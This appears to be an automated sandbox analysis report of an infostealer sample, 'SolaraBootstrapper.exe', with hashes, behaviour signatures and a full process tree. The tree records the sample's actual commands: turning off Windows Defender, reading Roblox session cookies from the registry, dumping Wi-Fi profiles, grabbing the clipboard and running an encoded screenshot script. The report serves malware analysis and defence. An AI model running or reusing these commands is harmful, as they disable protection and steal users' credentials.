Analysis

  • max time kernel
    62s
  • max time network
    64s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-06-2024 08:13

General

  • Target

    SolaraBootstrapper.exe

  • Size

    7.4MB

  • MD5

    8b2f7391e35b8b5f7af970d228a0db0b

  • SHA1

    69c3c69a819ebb04d6d20b67b7e0acc5647286d9

  • SHA256

    3f0df48bb51c6dbbfcb3100e93300ba8ed6e888f34dbfff9ea50de8414dd50f9

  • SHA512

    6598888d42c5718bf795d4603cded4794fe09e2f292fbaffd777bf2d6cc081497c7178ca165af2b4a54aa6af2b162e08e73bd324a593602697e7a37533f6f85c

  • SSDEEP

    196608:40P9VMcUurErvI9pWjgfPvzm6gsFEB4Auh:NlGurEUWjC3zDb84Auh

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • UPX packed file 57 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
    "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4936
          • C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
            "C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            PID:4340
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2620
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:3044
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:712
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:216
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:2376
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2340
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:1312
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4360
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:768
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2780
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4476
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:892
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:3380
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
              PID:3448
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:3328
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                  PID:2108
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2376
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:1380
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:2292
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:5096
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1312
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                          PID:2472
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profile
                            4⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:3020
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "systeminfo"
                          3⤵
                            PID:4752
                            • C:\Windows\system32\systeminfo.exe
                              systeminfo
                              4⤵
                              • Gathers system information
                              PID:848
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                            3⤵
                              PID:4748
                              • C:\Windows\system32\reg.exe
                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                4⤵
                                  PID:3616
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                3⤵
                                  PID:3776
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:220
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lqdhmyvo\lqdhmyvo.cmdline"
                                      5⤵
                                        PID:5696
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D43.tmp" "c:\Users\Admin\AppData\Local\Temp\lqdhmyvo\CSC7C88657FF08342D6923DFE125166D4D.TMP"
                                          6⤵
                                            PID:5864
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:4380
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:4976
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:4804
                                            • C:\Windows\system32\attrib.exe
                                              attrib -r C:\Windows\System32\drivers\etc\hosts
                                              4⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:4932
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:1528
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:5140
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                3⤵
                                                  PID:5144
                                                  • C:\Windows\system32\attrib.exe
                                                    attrib +r C:\Windows\System32\drivers\etc\hosts
                                                    4⤵
                                                    • Drops file in Drivers directory
                                                    • Views/modifies file attributes
                                                    PID:5148
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:692
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:5840
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                      3⤵
                                                        PID:5740
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist /FO LIST
                                                          4⤵
                                                          • Enumerates processes with tasklist
                                                          PID:6024
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:5928
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:6112
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                            3⤵
                                                              PID:5316
                                                              • C:\Windows\system32\tree.com
                                                                tree /A /F
                                                                4⤵
                                                                  PID:2620
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:436
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5280
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                  3⤵
                                                                    PID:4588
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:5284
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "getmac"
                                                                    3⤵
                                                                      PID:4368
                                                                      • C:\Windows\system32\getmac.exe
                                                                        getmac
